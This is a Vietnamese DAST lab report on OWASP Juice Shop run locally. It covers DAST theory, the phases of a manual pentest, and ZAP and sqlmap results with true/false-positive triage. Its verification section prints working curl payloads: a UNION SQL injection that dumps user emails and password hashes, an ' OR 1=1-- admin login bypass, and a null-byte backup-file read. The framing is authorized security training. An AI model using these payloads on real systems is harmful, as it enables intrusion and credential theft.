# TRACK 0 — Báo cáo Hands-on DAST

**Phần (1) Tìm hiểu DAST · Phần (2) Kết quả tool + bảng verify TP/FP · Phần (3) Kiến trúc LLM-driven DAST**

- **Ngày:** 2026-08-05 (hands-on) · **Bổ sung Phần 1:** 2026-08-06 (Asia/Saigon)
- **Mục tiêu (target):** OWASP Juice Shop `bkimminich/juice-shop:latest` @ `http://localhost:3000` (target huấn luyện, cục bộ, có phép)
- **DB backend:** SQLite · **Version string Juice Shop (rò rỉ từ file backup):** `6.2.0-SNAPSHOT`
- **Tool:** OWASP ZAP `ghcr.io/zaproxy/zaproxy:stable` (Docker), sqlmap `1.10.8.1#dev` (git), `curl`/`jq` để verify thủ công
- **Thư mục artifact:** `plans/260805-0015-track0-dast/artifacts/` (`zap/`, `sqlmap/`, `evidence/`)
- **Nền lý thuyết Phần 1:** `plans/reports/research-260806-0942-dast-theory-part1.md` (+ `research-zap-methodology.md`, `research-tpfp-cwe.md`)

> **Phạm vi & thẩm quyền.** Toàn bộ test chạy trên app cố tình dễ tổn thương, deploy cục bộ ở `localhost`. ko đụng tới hệ thống bên ngoài. Việc khai thác chỉ giới hạn ở mức tối thiểu để **xác nhận** (proof-of-impact) từng lỗ hổng, ko khai thác hàng loạt.

> **Ghi chú nghiệm thu (v2).** Báo cáo đã qua **2 vòng code-review** đối chiếu từng số liệu với artifact thật + container sống. Vòng 1 phát hiện **F12 (`%2e` bypass) thực chất là FALSE POSITIVE** (trả về `index.html` của SPA, ko phải file backup) → đã sửa lại verdict; đồng thời chỉnh F5 (ko lộ password hash) và sửa cặp email↔hash trong §2.3.

---

## Phần 1 — Tìm hiểu DAST

### 1.1 Phân biệt DAST / SAST / IAST


#### Bảng so sánh

| Đặc tính | SAST (tĩnh) | DAST (động) | IAST (tương tác) |
|---|---|---|---|
| Mô hình | Hộp trắng (white-box) | Hộp đen (black-box) | Hộp xám (grey-box) |
| Cần chạy ứng dụng? | ko — quét mã nguồn tĩnh | Có — app phải deploy và reachable | Có — agent chạy ngầm trong môi trường test |
| Vị trí SDLC | Phát triển (code/commit) | Kiểm thử / QA (staging) | Kiểm thử tự động (QA/test) |
| Cảnh báo giả (false positive) | Nhiều nhất (thiếu ngữ cảnh runtime) | Trung bình (thường báo khi kích hoạt được phản ứng) | Thấp (lỗi gắn với luồng thực sự chạy) |
| Chỉ rõ dòng code? | Có (file, dòng) | ko (thường chỉ URL, tham số HTTP) | Có (dòng code + stack trace động) |
| Phát hiện tốt | Secret hardcode, thuật toán yếu, pattern code nguy hiểm | Cấu hình server, xác thực, session, injection runtime | Luồng dữ liệu phức tạp, sink runtime gắn với request |

Ba họ **bổ sung** nhau, ko thay thế. Track này chỉ thực hiện **DAST** (ZAP, sqlmap, verify `curl`) trên Juice Shop local — ko gắn SAST source, ko cài IAST agent.

#### SAST — Static Application Security Testing

SAST quét mã nguồn ko cần chạy chương trình, tìm các mẫu lỗi bảo mật đã biết

Điểm mạnh:bắt lỗi sớm (ngay lúc code); quét được cả nhánh ít khi chạy; chỉ rõ file/dòng để dev sửa.
Điểm yếu:fp cao vì thiếu ngữ cảnh thực thi ko thể tìm ra các lỗi cấu hình server, mạng, và nhiều logic chỉ lộ khi chạy

#### DAST — Dynamic Application Security Testing

DAST: ko xem source, tấn công app đang chạy bằng payload và quan sát phản hồi (status, body, header, timing)

Điểm mạnh:gần cuộc tấn công thật; bắt lỗi chỉ xuất hiện lúc runtime (config, session, token, injection có response); ko phụ thuộc ngôn ngữ lập trình của app
Điểm yếu:ko chỉ vị trí code > tốn thời gian lần theo. độ phủ phụ thuộc spider/crawler và auth (surface sau login dễ bỏ sót). quét active chậm hơn, có thể làm bẩn data hoặc ảnh hưởng hệ thống nếu nhầm prod

#### IAST — Interactive Application Security Testing

IAST kết hợp yếu tố tĩnh và động: agent/sensor nhúng trong runtime (JVM, Node…). khi QA chạy test chức năng, agent theo dõi luồng dữ liệu trong process và đối chiếu với request HTTP để phát hiện lỗi

Điểm mạnh:fp thấp vì chỉ báo khi dữ liệu độc thực sự, vừa có tín hiệu runtime vừa chỉ được dòng code; chạy ngầm trong lúc test, ko cần khung giờ full scan riêng
Điểm yếu:chỉ thấy path đã được exercise; cài agent cần quyền sâu trên server; chi phí/licensing thường cao

#### Ví dụ cùng một lỗ hổng SQL Injection

Cùng lỗi ghép chuỗi SQL khi login, ba phương pháp cách tiếp cận khác nhau:
- SAST đọc `login.js`, thấy `SELECT * FROM Users WHERE email = '` + email + `'`, cảnh báo nguy cơ SQLi tại dòng đó
- DAST gửi payload kiểu `' OR 1=1--` vào form/API login trên app đang chạy; nếu đăng nhập được ko cần mật khẩu đúng thì báo endpoint `/login` (hoặc tương đương) có lỗ hổng
- IAST khi request đó chạy, agent trong server thấy câu SQL bẩn được thực thi và báo: SQLi kích hoạt tại dòng X file Y khi nhận POST `/login`
### 1.2 Các phase DAST khi pentester làm manual

Chuỗi sáu bước dùng trong báo cáo:

Recon → Mapping → Analysis → Vuln Testing → Exploit/Confirm → Report

#### Giai đoạn 1 — Reconnaissance (thu thập thông tin)

Nền tảng để phác họa bề mặt tấn công trước khi đi sâu vào app.
Làm gì
- Passive recon: lấy thông tin công khai, hạn chế chạm trực tiếp target (giảm rủi ro kích hoạt giám sát). Ví dụ Google Dorking (filetype,inurl,site…), Certificate Transparency (crt.sh) để tìm subdomain, OSINT công cộng
- Active recon: tương tác tối thiểu quét cổng, service fingerprint, banner grabbing (OS, web server)
- Metafile / fingerprint app: robots.txt, sitemap.xml, security.txt, dấu hiệu .git, nhận diện CMS/framework từ HTML/header/JS
Input:domain chính, dải IP trong scope, thông tin tổ chức sơ bộ (hoặc URL lab được phép)
Output:subdomain sống, IP host, phiên bản OS/web server/CMS (nếu lộ), danh sách metafile/lộ cấu hình công khai.
Tool: passive — Google Dorking, Shodan, Censys, VirusTotal, crt.sh; active Nmap, Subfinder, Amass, WhatWeb, Wappalyzer

Lab Juice Shop: scope local localhost:3000 recon rút gọn còn deploy container + curl probe (HTTP 200, REST search).

#### Giai đoạn 2 — Mapping (ánh xạ ứng dụng và luồng thực thi)

Chuyển từ hạ tầng sang cấu trúc chức năng bên trong app: biết “có những ngóc ngách nào”.

Làm gì

- Xác định điểm đầu vào (WSTG-INFO-06): param GET, body POST (JSON/XML/form), header tùy chỉnh, cookie, path segment; chú ý hidden form field
- Ánh xạ đường dẫn thực thi (WSTG-INFO-07): duyệt app, vẽ luồng nghiệp vụ (ví dụ giỏ hàng → coupon → thanh toán)
- Path analysis / data-flow (taint) theo dõi input người dùng; khi cần, race testing trên thao tác nhạy cảm

Input:URL gốc, tài khoản thử nghiệm, đặc tả API (Swagger/OpenAPI) nếu có
Output:cây thư mục / site map, ma trận tham số (kể cả ẩn), danh sách API endpoint, sơ đồ luồng nghiệp vụ.
Tool:Burp Suite (Target, Spider), OWASP ZAP (Spider, AJAX/Client Spider), OWASP Attack Surface Detector; vẽ luồng: XMind, Draw.io
Lab: ZAP spider trong baseline/full + quan sát REST Juice Shop (/rest/..., /api/...).

#### Giai đoạn 3 — Analysis (mô hình hóa đe dọa và đánh giá cấu hình)

Tư duy chiến lược: ưu tiên vùng rủi ro theo nghiệp vụ, tránh test mù.

Làm gì

- Threat modeling: phân loại tài sản (PII, thanh toán, admin…); khung STRIDE/PASTA khi phù hợp; xếp kịch bản theo động cơ/năng lực attacker.
- Đánh giá cấu hình (WSTG-CONF): debug mode, stack trace lộ, quyền process quá cao, file cấu hình/backup ko bảo vệ, header/TLS yếu…
Input:hồ sơ Recon + Mapping, tài liệu kiến trúc (nếu có), danh sách tài sản nhạy cảm từ khách hàng.
Output:threat matrix / danh mục kịch bản ưu tiên, danh sách rủi ro cấu hình nền tảng.
Tool:Microsoft Threat Modeling Tool, OWASP Threat Dragon; cấu hình/TLS: CIS-CAT Lite, testssl.sh.
Lab:app huấn luyện ưu tiên injection (search/login), /ftp + backup, API user, header hygiene; ko cần threat model doanh nghiệp đầy đủ

#### Giai đoạn 4 — Vulnerability Testing (kiểm thử lỗ hổng)

Giai đoạn kỹ thuật sâu: kỹ thuật + logic nghiệp vụ, thủ công là chính, tool hỗ trợ.

Làm gì
- Cấu hình & file: forced browsing (.bak, .old, .zip…), directory listing.
- Xác thực: default/hardcoded cred (kể cả trong JS), brute-force / lockout, CAPTCHA, cache trình duyệt.
- Phân quyền (WSTG-ATHZ): leo thang ngang/dọc; thử header bypass (X-Original-URL, X-Forwarded-For…) khi có WAF/proxy.
- Đầu vào & logic: SQLi (error/boolean/time), XSS reflected/stored, business logic (số lượng âm, lạm dụng coupon…).
Input:ma trận tham số (Mapping), tài khoản nhiều vai trò.
Output:danh sách lỗ hổng kỹ thuật/logic đã tái hiện được, kèm log request/response để sang giai đoạn exploit.
Tool: Burp (Repeater, Intruder), ZAP (Fuzzer, Manual Request Editor), sqlmap, wfuzz, Arjun.
Lab:ZAP passive/active + sqlmap trên q= + curl differential (F1–F13).

#### Giai đoạn 5 — Exploit / Confirm (khai thác và đánh giá tác động)

Chuyển từ có vẻ lỗi sang tác động đo được trong phạm vi ủy quyền ko phá hoại.
Làm gì
- Precision strike: exploit/PoC đã kiểm soát, vừa đủ chứng minh.
- Bypass phòng thủ khi cần (encoding, packing) — chỉ trong scope và được phép.
- Post-exploitation (engagement đầy đủ): privilege escalation, lateral movement, pillaging (config, backup DB, key), persistence mô phỏng — lab huấn luyện thường dừng ở PoC tối thiểu (dump vài hàng, JWT admin, đọc file backup), ko cày mạng nội bộ.

Input: lỗ hổng đã xác thực ở giai đoạn 4, payload/exploit tùy chỉnh, văn bản ủy quyền (hoặc scope lab).

Output:PoC, đường leo thang/đặc quyền (nếu có), danh sách tài nguyên truy cập trái phép được.

Tool: Metasploit (khi phù hợp), Burp Repeater, ysoserial/msfvenom (khi cần), Netcat, script Python/Go; lab: chủ yếu curl + sqlmap dump giới hạn.

*Lab:* F1 UNION dump Users, F2 login bypass JWT admin, F4 null-byte đọc .bak — đủ proof-of-impact; ko lateral movement.

#### Giai đoạn 6 — Reporting (báo cáo và đề xuất khắc phục)

Chuyển kết quả kỹ thuật thành quyết định và việc sửa.

Làm gì

- Executive summary: ngôn ngữ phi kỹ thuật — rủi ro kinh doanh, hướng khắc phục tổng thể.
- Technical report: xếp severity (CVSS), CWE, root cause, bước tái hiện, ảnh/log đã che thông tin nhạy cảm.
- Remediation playbook; phụ lục dọn dẹp sau exploit nếu đã post-exploit.
Input: nhật ký kỹ thuật, PoC đã triage, phản hồi từ phía khách (nếu có).
Output:báo cáo pentest (PDF/Word hoặc Markdown chuẩn hóa), export finding CSV/JSON (Jira/DefectDojo…).
Tool:Dradis, Cervantes, DefectDojo; soạn Markdown/LaTeX. 
Lab: docs/track0-dast-report.md + artifacts/.

#### Bảng tổng hợp

| Giai đoạn | Hoạt động cốt lõi | Kết quả bàn giao chính | Công cụ chủ đạo |
|---|---|---|---|
| **1. Recon** | Tình báo thụ động + active tối thiểu | Subdomain, cổng/dịch vụ, phiên bản phần mềm | Nmap, Google Dorking, Subfinder, Amass, Wappalyzer |
| **2. Mapping** | Endpoint, tham số HTTP, luồng nghiệp vụ | Site map, ma trận param, danh sách API | Burp Target/Spider, ZAP Spider, Attack Surface Detector |
| **3. Analysis** | Threat model + đánh giá cấu hình | Threat matrix, rủi ro cấu hình, kịch bản ưu tiên | Threat Dragon / MS TMT, testssl.sh |
| **4. Vuln Testing** | Kiểm thử thủ công (WSTG: authz, input, logic…) | Lỗ hổng đã tái hiện + HTTP log | Burp Repeater/Intruder, sqlmap, wfuzz, Arjun |
| **5. Exploit/Confirm** | PoC có kiểm soát; post-exploit khi được phép | PoC, đường leo thang, tài nguyên truy cập được | Metasploit, Burp Repeater, script tùy chỉnh |
| **6. Report** | Lượng hóa rủi ro + remediation | Báo cáo chính thức, export finding | Dradis, Cervantes, DefectDojo, Markdown/LaTeX |

Điểm then chốt: giai đoạn 4 tìm và tái hiện lỗ hổng; giai đoạn 5 chứng minh **tác động**. Báo cáo chỉ dựa output scanner (một phần giai đoạn 4) là chưa đủ — Phần 2 bắt buộc verify và PoC.

### 1.3 Khái niệm cốt lõi (định nghĩa làm việc)

1. Proxy / MITM  đứng giữa client và server để xem, sửa, replay HTTP trong phạm vi tester

2. Spider / crawler  tự đi theo link/form (hoặc render JS) để lập site map. SPA chỉ spider HTML tĩnh dễ map mỏng, active scan sạch giả

3. Injection point chỗ app nhận input client rồi đưa vào ngữ cảnh nguy hiểm (SQL, HTML/JS, path…). Miss point thì miss vuln. 
Ví dụ lab: q= (F1), `email login (F2).

4. Passive scan chỉ phân tích traffic đã có header, cookie, leak ko gửi payload tấn công. Lab: ZAP baseline

5. Active scan gửi payload vào injection point, suy từ response/timing
Lab: ZAP full

6. Payload / fuzzing payload là một input tấn công cụ thể; fuzzing là bắn nhiều biến thể wordlist, encoding .sqlmap, nuclei, Intruder, ffuf là các mức tự động hóa.

7. Reflected / Stored / Blind Reflected: lộ ngay cùng request/response. Stored: lưu server, kích hoạt lần xem khác. Blind: ko thấy output rõ, suy bằng boolean, time-based hoặc OOB. Lab F1: sqlmap xác nhận boolean, error và time trên q.

8. Authenticated scan scan khi đã có session/token để vào surface sau login. Chỉ unauth sẽ bỏ sót nhiều endpoint (ví dụ F5).

9. False positive / False negative  FP: tool báo nhưng verify ko khai thác được (F12, F8). FN: lỗ hổng thật mà tool im F2 với sqlmap, F4 với ZAP

10. CWE mã MITRE cho lớp điểm yếu dùng để gắn finding thống nhất

11. OWASP Top 10 nhóm rủi ro web theo tần suất/tác động cộng đồng. Bảng finding map theo Top 10:2021 (A03, A01, A05…).

12. Severity vs Confidence severity xấu cỡ nào nếu là vuln thật. Confidence chắc cỡ nào là vuln thật. Hai trục độc lập F1 ZAP từng là High risk / Low confidence cho đến khi sqlmap + UNION xác nhận

13. Proof-of-impact — Ngưỡng TP: attacker thu được lợi ích quan sát được (dump data, JWT admin, file vượt whitelist…), ko chỉ payload xuất hiện trong body. HTTP 200 ko đồng nghĩa file thật (F12)

14. Attack surface & scope — Surface: thứ attacker có thể chạm. Scope: thứ được phép test. Lab: http://localhost:3000 Juice Shop only

---

## Phần 2 — Kết quả tool & verify TP/FP

### 2.1 Phương pháp verify (cách quyết định TP/FP)

Một alert của scanner chỉ là *giả thuyết*. Mỗi finding dưới đây đều được phân loại **TP** hay **FP** theo checklist sau (đúc từ FIRST CVSS 3.1, OWASP, ZAP alert docs):

1. **Tái hiện độc lập** — replay đúng request bằng `curl` (ko tin "evidence" mà tool tự khai).
2. **Quan sát differential thật** — so payload tấn công vs control lành tính; khác biệt chỉ giải thích được bằng lỗ hổng.
3. **Bằng chứng tác động (proof-of-impact)** — ko chỉ "payload phản chiếu" mà là kết quả thật: trích được dữ liệu (SQLi), lấy được file (path bypass), truy cập chéo quyền (BAC), script chạy (XSS).
4. **Loại trừ nguyên nhân lành tính** — output encoding, parameterized query nuốt input, trang 500 chung chung, control chỉ áp dụng cho TLS trên app HTTP cục bộ, rule chỉ mang tính informational, **hoặc SPA catch-all trả 200 cho mọi path** (bẫy FP kinh điển — xem F12).
5. **Chấm Severity và Confidence tách biệt** — Severity = mức tác động *nếu có thật* (CVSS 3.1); Confidence = mức chắc chắn nó có thật (ZAP `Low→Medium→High→Confirmed`). Hai trục khác nhau, ko gộp làm một.
6. **Lưu bằng chứng** — request + trích response + 1 dòng giải thích nhân quả, lưu ở `artifacts/evidence/`.

**Định nghĩa TP / FP / TN / FN dùng trong báo cáo**

| Thuật ngữ | Nghĩa ở đây |
|---|---|
| **True Positive (TP)** | Scanner báo VÀ tái hiện thủ công chứng minh lỗ hổng thật, khai thác được. |
| **False Positive (FP)** | Scanner báo NHƯNG tái hiện cho thấy ko khai thác được (differential trùng hợp, bị encode vô hiệu, chỉ informational, hoặc bối cảnh khiến ko khai thác được). |
| **True Negative (TN)** | ko báo và thực sự ko dính (đánh giá độ phủ, ko phải dòng trong bảng). |
| **False Negative (FN)** | Lỗ hổng thật mà scanner **bỏ sót** — chỉ biết qua phương pháp thứ hai (thủ công/sqlmap). Ghi ở §2.7. |

> **Severity vs Confidence (khái niệm cốt lõi).** Một finding có thể *High severity / Low confidence* (scanner nghi SQLi nghiêm trọng nhưng chưa tái hiện được) hoặc *Low severity / Confirmed* (một header chắc chắn thiếu nhưng tác động thấp). Dải CVSS 3.1: None 0.0 · Low 0.1–3.9 · Medium 4.0–6.9 · High 7.0–8.9 · Critical 9.0–10.0.

### 2.2 Bằng chứng deployment

```
$ docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop:latest
$ curl -s -o /dev/null -w "HTTP %{http_code} in %{time_total}s" http://localhost:3000/
HTTP 200 in 0.009s
$ curl -s "http://localhost:3000/rest/products/search?q=apple"
{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)",...}]}
```

Juice Shop truy cập được, REST API sống → app sẵn sàng để scan.

### 2.3 Kết quả sqlmap (tool chuyên SQLi)

**Lệnh (endpoint tìm sản phẩm):**
```
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
  --batch --level=3 --risk=2 --dbms=sqlite --technique=BEUST
```

**Kết quả — tham số `q` injectable, xác nhận 3 kỹ thuật, backend = SQLite:**
```
Parameter: q (GET)
  Type: boolean-based blind — AND boolean-based blind - WHERE or HAVING clause
    Payload: q=apple%' AND 8519=8519 AND 'wxnc%'='wxnc
  Type: error-based — SQLite >= 3.9 AND error-based (JSON path)
    Payload: q=apple%' AND 5460=JSON_EXTRACT(CHAR(123,125),...) AND 'tdQo%'='tdQo
  Type: time-based blind — SQLite > 2.0 AND time-based blind (heavy query)
    Payload: q=apple%' AND 7993=LIKE(CHAR(...),UPPER(HEX(RANDOMBLOB(500000000/2)))) ...
back-end DBMS: SQLite
```

**Bằng chứng trích xuất dữ liệu — dump bảng `Users` qua injection** (giới hạn `--stop=3` để minh hoạ; bảng đầy đủ = 22 user, xem F1 UNION):
```
python3 sqlmap.py -u ".../search?q=apple" --batch --dbms=sqlite --level=3 --risk=2 \
  --technique=E -T Users -C email,password --dump
```
> ⚠️ **Lưu ý về cặp email↔hash:** sqlmap dump theo *từng cột* nên thứ tự email và password trong file CSV có thể lệch hàng. Cặp **chính xác** (row-wise) lấy từ UNION SELECT ở F1 mới là chuẩn:

| email | password (MD5) | ghi chú |
|---|---|---|
| `admin@juice-sh.op` | `0192023a7bbd73250516f069df18b500` | = MD5("admin123") |
| `jim@juice-sh.op` | `e541ca7ecf72b8d1286474fc613e5e45` | |
| `bender@juice-sh.op` | `0c36e517e3fa95aabf1bbffc6744a4ef` | |

Log: `artifacts/sqlmap/sqlmap-search.log`, `sqlmap-users-dump.log`; CSV dump: `artifacts/sqlmap/session/localhost/dump/SQLite_masterdb/Users.csv`.

> **Về độ phủ của sqlmap:** sqlmap tự phát hiện endpoint **GET search**, nhưng **ko** phát hiện SQLi ở **login** — injection đó biểu hiện dưới dạng *auth bypass* (ko có data differential để sqlmap bắt; hành vi đã biết của upstream). Do đó login SQLi được xác nhận thủ công (§2.5, F2). Bài học: *tool chuyên dụng im lặng ko có nghĩa là TN.*

### 2.4 Kết quả ZAP (scanner đa dụng)

Hai lần scan qua Docker image, target `http://localhost:3000` (`--network host`).

**(a) Baseline / passive scan** (`zap-baseline.py -m 3`) — chỉ rule passive, ko tấn công. Kết quả: **0 FAIL, 8 WARN, 59 PASS**. Toàn alert hygiene/informational (passive scan về bản chất ko tìm được SQLi/XSS):

| ZAP Alert | Risk (Confidence) | CWE | Số lần |
|---|---|---|---|
| Content Security Policy (CSP) Header Not Set | Medium (High) | CWE-693 | 5 |
| Cross-Domain Misconfiguration (CORS `ACAO:*`) | Medium (Medium) | CWE-264 | 5 |
| Cross-Origin-Embedder-Policy Header Missing | Low (Medium) | CWE-693 | 5 |
| Cross-Origin-Opener-Policy Header Missing | Low (Medium) | CWE-693 | 5 |
| Deprecated Feature-Policy Header Set | Low (Medium) | CWE-16 | 5 |
| Dangerous JS Functions | Low (Low) | CWE-749 | 1 |
| Timestamp Disclosure – Unix | Low (Low) | CWE-497 | 5 |
| Modern Web Application | Informational (Medium) | — | 5 |
| Storable/Cacheable Content | Informational (Medium) | CWE-524 | 5 |

Report: `artifacts/zap/zap-baseline.{json,html,md}`.

**(b) Full / active scan** (`zap-full-scan.py -m 4 -j`) — spider + rule active injection. **25 alert riêng biệt: 1 High, 7 Medium, 9 Low, 8 Informational.** Report: `artifacts/zap/zap-full.{json,html,md}`.

| ZAP Alert (active scan) | Risk (Confidence) | CWE | n | Ghi chú triage |
|---|---|---|---|---|
| **SQL Injection** | **High (Low)** | CWE-89 | 1 | Tham số `q`; bằng chứng ZAP = chỉ 1 lỗi `500` → *Low confidence*. Củng cố **F1** nhưng ZAP một mình chưa đủ; sqlmap + UNION exfil mới nâng lên **TP đã xác nhận**. |
| Backup File Disclosure | Medium (Medium) | CWE-530 | 31 | ✅ **Đã nghiệm thu từng URL (31/31 = FP)**: mọi path trả `index.html` 9903B (byte-identical `cmp`), ko path nào lấy được file thật. Vector backup **thật** là **null-byte** (F4) — ZAP **bỏ sót** (FN). Chi tiết: `zap/verify-backup-403.tsv`. |
| Bypassing 403 | Medium (Medium) | CWE-348 | 6 | ✅ **Đã nghiệm thu (6/6 = FP)**: tất cả `/%2e/ftp/...` trả `index.html` 9903B (gồm F12). SPA catch-all, ko vượt được 403 thật. |
| CORS Misconfiguration | Medium (High) | CWE-942 | 5 | Cùng gốc với Cross-Domain Misconfig (`ACAO:*`) → **F11**, trùng lặp + severity thổi phồng → **FP một phần**. |
| Cross-Domain Misconfiguration | Medium (Medium) | CWE-264 | 5 | `Access-Control-Allow-Origin: *` trên static asset → **F7**, thổi phồng → **FP một phần**. |
| Content Security Policy (CSP) Not Set | Medium (High) | CWE-693 | 5 | **F6**, thiếu thật, hạ về Low → **TP (Low)**. |
| Missing Anti-clickjacking Header | Medium (Medium) | CWE-1021 | 3 | Chỉ trên `/socket.io/` (ko phải UI); trang chính có `X-Frame-Options: SAMEORIGIN` → **F13**, **FP** thực tế. |
| Session ID in URL Rewrite | Medium (High) | CWE-598 | 5 | socket.io `sid` trong URL polling (theo thiết kế) → hygiene, khả năng khai thác thấp → **TP (Low) / gần noise**. |
| Strict-Transport-Security Not Set | Low (High) | CWE-319 | 1 | HTTP cục bộ → **FP** theo bối cảnh (control chỉ cho TLS). |
| X-Content-Type-Options Missing | Low (Medium) | CWE-693 | 6 | Có trên trang chính, thiếu ở vài endpoint → TP-hygiene (Low). |
| Private IP Disclosure | Low (Medium) | CWE-497 | 1 | IP nội bộ trong response → rò rỉ nhẹ (Low). |
| Timestamp Disclosure – Unix | Low (Low) | CWE-497 | 5 | Số hằng trong CSS → **F8**, **FP**. |
| Dangerous JS Functions | Low (Low) | CWE-749 | 2 | Khớp pattern trong bundle; chưa xác nhận sink → cần thủ công, giá trị thấp. |
| Deprecated Feature-Policy Header | Low (Medium) | CWE-16 | 5 | Chỉ mang tính khuyến cáo. |
| COOP / COEP Header Missing | Low (Medium) | CWE-693 | 10 | Hygiene (Low). |
| User Agent Fuzzer / Modern Web App / Cookie Slack / Cache / Session-Mgmt / CORS-Header | Informational | nhiều | 22 | Chỉ là phát hiện thông tin, ko phải lỗ hổng → loại khỏi số đếm vuln. |

**Đối chiếu (active scan vs thủ công/sqlmap):** ZAP active scan **độc lập củng cố** SQLi tìm-kiếm — nhưng ở mức *High-risk / Low-confidence* chỉ dựa trên 1 lỗi `500`, đúng kiểu FP "lỗi SQL ≠ injection đã xác nhận". Chỉ nhờ sqlmap (boolean/error/time) + UNION exfil thủ công mới biến alert Low-confidence đó thành **TP Critical đã xác nhận**. ZAP cũng **ko** tìm ra **SQLi auth-bypass ở login (F2)** — FN của cả hai scanner, chỉ bắt được bằng differential thủ công. Ngoài ra **toàn bộ 37 instance** của "Backup File Disclosure" (31) + "Bypassing 403" (6) đã được **nghiệm thu từng URL và đều là FP** — 100% trả `index.html` 9903B (SPA catch-all), ko URL nào lấy được file thật; nghịch lý là vector backup-disclosure **thật** (null-byte, F4) lại bị ZAP **bỏ sót**. Bài học trung tâm: *risk/confidence của scanner là tín hiệu, ko phải phán quyết* — và một SPA trả 200 cho mọi path có thể sinh ra hàng loạt FP nếu ko verify size/nội dung.

### 2.5 Verify thủ công — bằng chứng từng finding

Mọi lệnh đều tái hiện được; response lưu ở `artifacts/evidence/`.

**F1 — SQLi, tìm sản phẩm (GET `q`) → TP (Critical).** UNION exfil trả credentials ngay trong JSON sản phẩm:
```
$ curl -sG http://localhost:3000/rest/products/search \
   --data-urlencode "q=x')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
admin@juice-sh.op            | 0192023a7bbd73250516f069df18b500
jim@juice-sh.op              | e541ca7ecf72b8d1286474fc613e5e45
bender@juice-sh.op           | 0c36e517e3fa95aabf1bbffc6744a4ef
bjoern.kimminich@gmail.com   | 6edd9d726cbdc873c539e41ae8757b8c
```
Proof-of-impact: input tấn công đổi result set của SQL, trả **toàn bộ bảng `Users` — 23 hàng (22 có email)**, kèm MD5 hash. Củng cố bởi sqlmap (§2.3). Bằng chứng: `evidence/sqli-search-union.json`.

**F2 — SQLi auth bypass, login (POST `email`) → TP (Critical).** Differential chứng minh:
```
$ curl -s -w "%{http_code}" -X POST .../rest/user/login -H 'Content-Type: application/json' \
    --data '{"email":"nobody@example.com","password":"wrongpw"}'
401  Invalid email or password.               # control

$ curl -s -w "%{http_code}" -X POST .../rest/user/login -H 'Content-Type: application/json' \
    --data '{"email":"'"'"' OR 1=1--","password":"anything"}'
200  {"authentication":{"token":"eyJ...",...}}   # tấn công
```
Payload JWT giải mã: `{"id":1,"email":"admin@juice-sh.op","role":"admin",...}` → đăng nhập thành **admin** với mật khẩu sai. Bằng chứng: `evidence/baseline-login.json`, `evidence/sqli-login-bypass.json`.

**F3 — Sensitive data exposure, directory listing `/ftp` → TP (Medium).**
```
$ curl -s -w "%{http_code}" http://localhost:3000/ftp
200 ... href="ftp/package.json.bak" href="ftp/coupons_2013.md.bak" href="ftp/acquisitions.md" ...
```
Directory listing của thư mục server chứa file `.bak`/mật bị lộ, ko cần auth. Bằng chứng: `evidence/ftp-listing.html`.

**F4 — Improper access control, bypass whitelist đuôi file bằng Poison Null Byte → TP (High).** `/ftp` chỉ phục vụ `.md`/`.pdf`, nhưng null-byte vượt qua whitelist và lấy được file backup thật:
```
$ curl -s -w "%{http_code} %{size_download}B" "http://localhost:3000/ftp/package.json.bak%2500.md"
200 4263B  {"name":"juice-shop","version":"6.2.0-SNAPSHOT",...}
$ curl -s -w "%{http_code} %{size_download}B" "http://localhost:3000/ftp/coupons_2013.md.bak%2500.md"
200 131B   (nội dung coupon mã hoá thật)
```
Proof-of-impact: lấy được file mà bộ lọc đuôi lẽ ra phải chặn — kiểm chứng cho **2 file** (`package.json.bak` 4263B và `coupons_2013.md.bak` 131B). Bằng chứng: `evidence/ftp-nullbyte.txt`, `evidence/coupons-nullbyte.txt`.

**F5 — Excessive data exposure, `GET /api/Users` → TP (Medium), kèm sắc thái FP.** Unauth bị chặn đúng; *bất kỳ* token hợp lệ nào cũng dump được toàn bộ user (email + role; **ko** lộ password hash):
```
$ curl -s -w "%{http_code}" http://localhost:3000/api/Users
401                                            # unauth → ĐƯỢC BẢO VỆ

$ curl -s -w "%{http_code}" http://localhost:3000/api/Users -H "Authorization: Bearer <token>"
200  users=22  [{"id":1,"email":"admin@juice-sh.op","role":"admin"},{"id":2,"email":"jim@..."}...]
```
Trả email/role của cả 22 user cho bất kỳ ai đã đăng nhập. **Sắc thái:** alert của scanner cho rằng liệt kê user *ko cần auth* ở đây sẽ là **FP** (unauth = 401). Chỉ là finding thật ở dạng *đã xác thực*. Bằng chứng: `evidence/bac-api-users.json` (401), `bac-api-users-auth.json` (200).

**F6 — Thiếu header CSP → TP (Low, defense-in-depth).** ZAP Medium(High); kiểm chứng thiếu thật:
```
$ curl -sD - -o /dev/null http://localhost:3000/ | grep -i content-security-policy
(ko output → header vắng)
```
Thiếu thật (Confidence Confirmed) nhưng ko có đường khai thác trực tiếp trên demo cục bộ → hạ severity về Low.

**F7 — CORS `Access-Control-Allow-Origin: *` → FP về severity / TP-hygiene.** ZAP chấm Medium; kiểm chứng wildcard chỉ trên asset **tĩnh, ko credential**:
```
$ curl -sD - -o /dev/null http://localhost:3000/ | grep -i access-control-allow-origin
Access-Control-Allow-Origin: *
```
ko có `Access-Control-Allow-Credentials: true`, ko có dữ liệu nhạy cảm sau CORS ở path này → ko khai thác được để đánh cắp cross-origin. Hạ về **Low/Info**.

**F8 — Timestamp Disclosure – Unix → FP.** ZAP báo "timestamp" trong `styles.css`; kiểm tra cho thấy đó là hằng số CSS, ko phải timestamp server nhạy cảm → FP.

**F9 — "Modern Web Application" → ko-phải-vuln (FP dạng vulnerability).** Chỉ là phát hiện thông tin site là SPA; ZAP tự đánh Informational. ko mang lỗ hổng — loại khỏi số đếm.

**F11 — CORS Misconfiguration (ZAP CWE-942, High conf) → trùng F7, FP một phần.** ZAP tấn công với `Origin: http://vvpk6gDA.com`; kiểm chứng app **ko** phản chiếu origin đó — chỉ trả wildcard tĩnh, ko có credentialed CORS:
```
$ curl -sD - -o /dev/null -H "Origin: http://evil-vvpk6gda.com" http://localhost:3000/ | grep -i access-control-allow-
Access-Control-Allow-Origin: *          # '*' tĩnh, ko phải origin evil; ko Allow-Credentials
```
Cùng gốc với F7 (`ACAO:*`), nổi lên dưới rule ID thứ hai. ko khai thác được → severity thổi phồng. Một gốc, hai alert.

